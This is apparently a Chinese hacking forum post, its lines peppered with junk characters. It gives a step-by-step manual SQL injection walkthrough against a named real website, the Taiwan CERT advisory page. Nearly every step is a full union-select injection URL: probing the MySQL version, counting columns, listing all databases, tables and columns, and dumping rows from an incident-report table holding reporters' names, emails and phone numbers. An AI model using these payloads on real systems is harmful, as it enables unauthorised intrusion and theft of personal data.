1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询
- F( H: C- j9 L( M9 ^! ]2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
9 o5 x, X# ~7 A; lhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--7 P0 D9 {+ r: A: \
3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
# o7 W/ t1 T8 x" }8 b+ n数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。1 R9 t- w, g4 S8 Z4 t* f1 I
4.判断有没有写权限
" J3 [- Y" m/ u1 Qhttp://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限
$ z, C$ S. z! [; D& v没办法,手动猜表啦: l% f- [, y) I& y$ P* |
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
8 [6 h7 ^6 Z* S( _但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下0 o% Z8 |4 B: ?: y
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--9 ]; l. z6 f& w. e# v; E1 J
成功查出所有数据库,国外的黑客就是不一般。数据库如下:( `5 U* i% v& [: r2 ?% k
information_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb
/ d1 ]9 ^7 g O/ Y) i. z! ^' M7 m8 ]6.爆表,爆的是twcert库2 k0 D% Y- g8 H- s, v
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--- g. e0 V( f! i9 P/ r$ J
爆出如下表7 [: d5 y$ _2 M. f7 [
downloadfile,irsys,newsdata,secrpt,secrpt_big5
, h/ }) }* L; F6 Q( K7.爆列名,这次爆的是irsys表
3 C9 H0 \( S3 T- \6 D mhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
/ i' ?7 l1 `5 t# W爆出如下列4 n" I; z+ b v% t6 J( R" I
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
% g7 P5 L* e6 U0 Y8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。' R# q3 w0 z3 j w) {' a
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
9 J0 t0 v1 ^% a" L9 f+ ]. _7 Y1 L返回是3,说明每个列里有3个地段
1 o+ H8 d- D; ^4 P X8 ]. g% ]9.爆字段内容7 d" P$ \; m: o, k
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
7 `% ^) [: v4 F爆出name列的第一个字段的内容
2 l+ E) M* Y3 w4 }+ k9 l0 Jhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--) z/ Y) m, k* b
爆出name列的第二个字段的内容 |